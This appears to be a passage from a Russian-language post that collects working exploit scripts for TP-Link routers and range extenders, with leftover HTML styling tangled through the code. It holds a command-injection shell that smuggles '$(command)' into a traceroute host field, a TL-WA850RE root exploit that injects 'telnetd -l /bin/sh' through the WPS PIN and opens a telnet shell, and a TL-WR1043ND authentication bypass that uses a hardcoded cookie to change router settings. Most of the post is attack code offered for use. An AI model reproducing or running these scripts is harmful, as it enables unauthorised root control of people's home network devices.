data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'diagnosticsState\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'X_TP_HopSeq\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'X_TP_Result\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
r class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> requestsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>postclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>urlclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>dataclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>dataclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
saida class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> rclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>text
filtro class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> saidaclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>replaceclass=token>(class=token>': Name or service not known'class=token>,class=token>''class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
filtro class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> filtroclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>replaceclass=token>(class=token>'[0,0,0,0,0,0]0'class=token>,class=token>''class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
filtro class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> filtroclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>replaceclass=token>(class=token>'diagnosticsState='class=token>,class=token>''class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
filtro class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> filtroclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>replaceclass=token>(class=token>'X_TP_HopSeq=0'class=token>,class=token>''class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
filtro class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> filtroclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>replaceclass=token>(class=token>'X_TP_Result='class=token>,class=token>''class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>printclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>filtroclass=token>[:class=token>-class=token>8class=token>])style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>defstyle='font-size:8.0pt;font-family:Consolas;color:black'> class=token>acepptclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>):style='font-size:8.0pt;font-family:Consolas;color:black'>
url class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'http://192.168.0.1/cgi?7'style='font-size:8.0pt;font-family:Consolas;color:black'>
data class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
r class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> requestsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>postclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>urlclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>dataclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>dataclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
outputclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>defstyle='font-size:8.0pt;font-family:Consolas;color:black'> class=token>injectclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>commandclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>):style='font-size:8.0pt;font-family:Consolas;color:black'>
url class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'http://192.168.0.1/cgi?2'style='font-size:8.0pt;font-family:Consolas;color:black'>
data class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>''style='font-size:8.0pt;font-family:Consolas;color:black'>
data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'maxHopCount=20\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'timeout=5\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'numberOfTries=1\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'host=\"$('class=token>+style='font-size:8.0pt;font-family:Consolas;color:black'>commandclass=token>+class=token>')\"\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'dataBlockSize=64\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'X_TP_ConnName=ewan_pppoe\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'diagnosticsState=Requested\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'X_TP_HopSeq=0\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
r class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> requestsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>postclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>urlclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>dataclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>dataclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
acepptclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>defstyle='font-size:8.0pt;font-family:Consolas;color:black'> class=token>mainclass=token>():style='font-size:8.0pt;font-family:Consolas;color:black'>
cookies class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>{class=token>"Authorization"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"Basic REPLACEBASE64AUTH"class=token>}style='font-size:8.0pt;font-family:Consolas;color:black'>
headers class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>{class=token>'Content-Type'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'text/plain'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>'Referer'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'http://192.168.0.1/mainFrame.htm'class=token>}style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>whilestyle='font-size:8.0pt;font-family:Consolas;color:black'> class=token>Trueclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
command class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>inputclass=token>(class=token>'$ 'class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
injectclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>commandclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
style='font-size:8.0pt;font-family:Consolas;color:black'>
main()
TP-Link TL-WA850RE - Remote Command Execution
TP-Link WA850RE - это устройство, известное как усилитель беспроводного сигнала или Wi-Fi репитер. Его основная цель - улучшить покрытие беспроводной сети в доме, офисе или другом помещении, где сигнал Wi-Fi может быть слабым или недостаточным.
На httpd-сервере универсального расширителя диапазона Wi-Fi TP-Link WA850RE существует уязвимость, которая позволяет аутентифицированным злоумышленникам вводить произвольные команды в качестве аргументов для вызова execve() из-за отсутствия очистки ввода. Внедренные команды выполняются с привилегиями root.
Код:
importstyle='font-size:8.0pt;font-family:Consolas;color:black'> argparse
import requests
import hashlib
import telnetlib
parser =style='font-size:8.0pt;font-family:Consolas;color:black'> argparseclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>ArgumentParserclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>
descriptionclass=token>=class=token>"Exploits TP-LINK WA850RE Command injection"style='font-size:8.0pt;font-family:Consolas;color:black'>
)
parser.style='font-size:8.0pt;font-family:Consolas;color:black'>add_argumentclass=token>(class=token>"host"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>helpclass=token>=class=token>"Host to attack."class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>typeclass=token>=class=token>strclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
parser.style='font-size:8.0pt;font-family:Consolas;color:black'>add_argumentclass=token>(class=token>"password"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>helpclass=token>=class=token>"Extender's Password"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>typeclass=token>=class=token>strclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
parser.style='font-size:8.0pt;font-family:Consolas;color:black'>add_argumentclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>"-C"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"--cookie"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>helpclass=token>=class=token>"Cookie id value."class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>typeclass=token>=class=token>strclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> defaultclass=token>=class=token>"1301a8c000c4c505"style='font-size:8.0pt;font-family:Consolas;color:black'>
)
args =style='font-size:8.0pt;font-family:Consolas;color:black'> parserclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>parse_argsclass=token>()style='font-size:8.0pt;font-family:Consolas;color:black'>
HOST =style='font-size:8.0pt;font-family:Consolas;color:black'> argsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>host
PASSWORD =style='font-size:8.0pt;font-family:Consolas;color:black'> argsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>password
COOKIE =style='font-size:8.0pt;font-family:Consolas;color:black'> argsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>cookie
cookies =style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>{class=token>"gsScrollPos-8016"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"0"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"COOKIE"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> COOKIEclass=token>}style='font-size:8.0pt;font-family:Consolas;color:black'>
headers =style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>{style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>"Origin"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"http://%s/"style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>%style='font-size:8.0pt;font-family:Consolas;color:black'> HOSTclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>"Accept-Encoding"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"gzip, deflate"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>"Accept-Language"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"en-US,en;q=0.9,es;q=0.8"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>"User-Agent"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"Mozilla/5.0"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>"Content-Type"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"application/x-www-form-urlencoded; charset=UTF-8"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>"Accept"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"application/json, text/javascript, */*; q=0.01"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>"Referer"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"http://%s/"style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>%style='font-size:8.0pt;font-family:Consolas;color:black'> HOSTclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>"X-Requested-With"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"XMLHttpRequest"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>"Connection"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"keep-alive"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>"DNT"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"1"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
}
password =style='font-size:8.0pt;font-family:Consolas;color:black'> hashlibclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>md5class=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>PASSWORDclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>encodeclass=token>(class=token>"utf-8"class=token>)).style='font-size:8.0pt;font-family:Consolas;color:black'>hexdigestclass=token>().style='font-size:8.0pt;font-family:Consolas;color:black'>upperclass=token>()style='font-size:8.0pt;font-family:Consolas;color:black'>
encoded =style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"%s:%s"style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>%style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>passwordclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> COOKIEclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
encoded =style='font-size:8.0pt;font-family:Consolas;color:black'> hashlibclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>md5class=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>encodedclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>encodeclass=token>(class=token>"utf-8"class=token>)).style='font-size:8.0pt;font-family:Consolas;color:black'>hexdigestclass=token>().style='font-size:8.0pt;font-family:Consolas;color:black'>upperclass=token>()style='font-size:8.0pt;font-family:Consolas;color:black'>
data =style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>[(class=token>"operation"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"login"class=token>),style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>(class=token>"encoded"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> encodedclass=token>),style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>(class=token>"nonce"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> COOKIEclass=token>)]style='font-size:8.0pt;font-family:Consolas;color:black'>
# Payload
data_inject style='font-size:8.0pt;font-family:Consolas;color:#9A6E3A'>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>[style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>(class=token>"operation"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"write"class=token>),style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>(class=token>"option"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"connect"class=token>),style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>(class=token>"wps_setup_pin"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"11480723;telnetd -l /bin/sh"class=token>),style='font-size:8.0pt;font-family:Consolas;color:black'>
]
with requestsstyle='font-size:8.0pt;font-family:Consolas;color:#999999'>.style='font-size:8.0pt;font-family:Consolas;color:black'>Sessionclass=token>()style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>asstyle='font-size:8.0pt;font-family:Consolas;color:black'> sclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
response class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> sclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>postclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>"http://%s/data/login.json"style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>%style='font-size:8.0pt;font-family:Consolas;color:black'> HOSTclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> headersclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> cookiesclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> dataclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>data
class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>printclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>responseclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>textclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token># An authorised request.style='font-size:8.0pt;font-family:Consolas;color:black'>
r class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> sclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>getclass=token>(class=token>"http://%s"style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>%style='font-size:8.0pt;font-family:Consolas;color:black'> HOSTclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> headersclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> cookiesclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token># print (r.text)style='font-size:8.0pt;font-family:Consolas;color:black'>
r class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> sclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>postclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>"http://%s/data/wps.setup.json"style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>%style='font-size:8.0pt;font-family:Consolas;color:black'> HOSTclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
headersclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
cookiesclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
dataclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>data_injectclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
tn =style='font-size:8.0pt;font-family:Consolas;color:black'> telnetlibclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>Telnetclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>HOSTclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
tn.style='font-size:8.0pt;font-family:Consolas;color:black'>interactclass=token>()style='font-size:8.0pt;font-family:Consolas;color:black'>
Список устройств уязвимых к Auth Bypass
TP-Link TL-WR1043ND 2 - Authentication BypassTP-Link TL-WR1043ND v2 - это многозадачный беспроводной маршрутизатор, предназначенный для домашнего использования и малых офисов. Он обладает различными функциями и характеристиками, позволяя пользователям создавать и управлять своей собственной беспроводной сетью.
Проблема была обнаружена на устройствах TP-Link TL-WR1043ND V2. Злоумышленник может отправить файл cookie в пакете проверки подлинности HTTP в веб-интерфейс управления маршрутизатором и полностью контролировать маршрутизатор, не зная учетных данных.
importstyle='font-size:8.0pt;font-family:Consolas;color:black'> requests
class=token>asciistyle='font-size:8.0pt;font-family:Consolas;color:black'> class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'''
__________ __ _ __
Код:
/_ __/ __ \ / / (_)___ / /__
/ / / /_/ /_____/ / / / __ \/ //_/
/ / / ____/_____/ /___/ / / / / ,<
/_/ /_/ /_____/_/_/ /_/_/|_|
'''
printstyle='font-size:8.0pt;font-family:Consolas;color:#999999'>(class=token>asciiclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
Default_Gateway style='font-size:8.0pt;font-family:Consolas;color:#9A6E3A'>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>raw_inputclass=token>(class=token>"Enter your TP-Link router IP: "class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
# Constantsstyle='font-size:8.0pt;font-family:Consolas;color:black'>
url =style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'http://'style='font-size:8.0pt;font-family:Consolas;color:black'>
url2 =style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'/userRpm/LoginRpm.htm?Save=Save'style='font-size:8.0pt;font-family:Consolas;color:black'>
full =style='font-size:8.0pt;font-family:Consolas;color:black'> url class=token>+style='font-size:8.0pt;font-family:Consolas;color:black'> Default_Gateway class=token>+style='font-size:8.0pt;font-family:Consolas;color:black'> url2
# full = str(full)style='font-size:8.0pt;font-family:Consolas;color:black'>
# The full GET request with the cookie authorization hijackedstyle='font-size:8.0pt;font-family:Consolas;color:black'>
req_header =style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>{style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>'Host'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'{}'class=token>.class=token>formatclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>Default_Gatewayclass=token>),style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>'User-Agent'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>'Accept'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>'Accept-Language'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'en-US,en;q=0.5'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>'Accept-Encoding'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'gzip, deflate'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>'Referer'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'http://{}/userRpm/LoginRpm.htm?Save=Save'class=token>.class=token>formatclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>Default_Gatewayclass=token>),style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>'Connection'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'close'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>'Cookie'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'''Authorization=Basic%20QWRtaW5pc3RyYXRvcjpjM2JiNTI5NjdiNjVjYWY4ZWRkMWNiYjg4ZDcwYzYxMQ%3D%3D'''class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>'Upgrade-Insecure-Requests'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'1'style='font-size:8.0pt;font-family:Consolas;color:black'>
}
trystyle='font-size:8.0pt;font-family:Consolas;color:#999999'>:style='font-size:8.0pt;font-family:Consolas;color:black'>
response class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> requestsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>getclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>fullclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> headersclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>req_headerclass=token>).style='font-size:8.0pt;font-family:Consolas;color:black'>content
except requestsstyle='font-size:8.0pt;font-family:Consolas;color:#999999'>.style='font-size:8.0pt;font-family:Consolas;color:black'>exceptionsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>ConnectionErrorclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>printclass=token>(class=token>"Enter a valid Default Gateway IP address\nExiting..."class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
exitclass=token>()style='font-size:8.0pt;font-family:Consolas;color:black'>
generate =style='font-size:8.0pt;font-family:Consolas;color:black'> responseclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>splitclass=token>(class=token>'/'class=token>)[class=token>3class=token>]style='font-size:8.0pt;font-family:Consolas;color:black'> class=token># Gets the randomized URL "session ID"style='font-size:8.0pt;font-family:Consolas;color:black'>
option_1 =style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>inputclass=token>(class=token>"Press 1 to check if your TP-Link router is vulnerable: "class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>ifstyle='font-size:8.0pt;font-family:Consolas;color:black'> option_1 class=token>isstyle='font-size:8.0pt;font-family:Consolas;color:black'> class=token>1class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>ifstyle='font-size:8.0pt;font-family:Consolas;color:black'> generate class=token>instyle='font-size:8.0pt;font-family:Consolas;color:black'> responseclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>printclass=token>(class=token>'Vulnerable!\n'class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
option_2 class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>inputclass=token>(class=token>'Press 2 if you want to change the router\'s SSID or any other key to quit: 'class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>ifstyle='font-size:8.0pt;font-family:Consolas;color:black'> option_2 class=token>isstyle='font-size:8.0pt;font-family:Consolas;color:black'> class=token>2class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
newssid class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>raw_inputclass=token>(class=token>'New name: 'class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
ssid_url class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'/userRpm/WlanNetworkRpm.htm?ssid1={}&ssid2=TP-LINK_660A_2&ssid3=TP-LINK_660A_3&ssid4=TP-LINK_660A_4®ion=43&band=0&mode=5&chanWidth=2&channel=1&rate=83&speedboost=2&broadcast=2&brlssid=&brlbssid=&addrType=1&keytype=1&wepindex=1&authtype=1&keytext=&Save=Save'class=token>.class=token>formatclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>
newssidclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
changessid_full class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> url class=token>+style='font-size:8.0pt;font-family:Consolas;color:black'> Default_Gateway class=token>+style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'/'style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>+style='font-size:8.0pt;font-family:Consolas;color:black'> generate class=token>+style='font-size:8.0pt;font-family:Consolas;color:black'> ssid_url
requestsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>getclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>changessid_fullclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> headersclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>req_headerclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>printclass=token>(class=token>'Changed to: {}'class=token>.class=token>formatclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>newssidclass=token>))style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>elseclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>(class=token>"Please choose the correct option.\nExiting..."class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
exitclass=token>()style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>elseclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
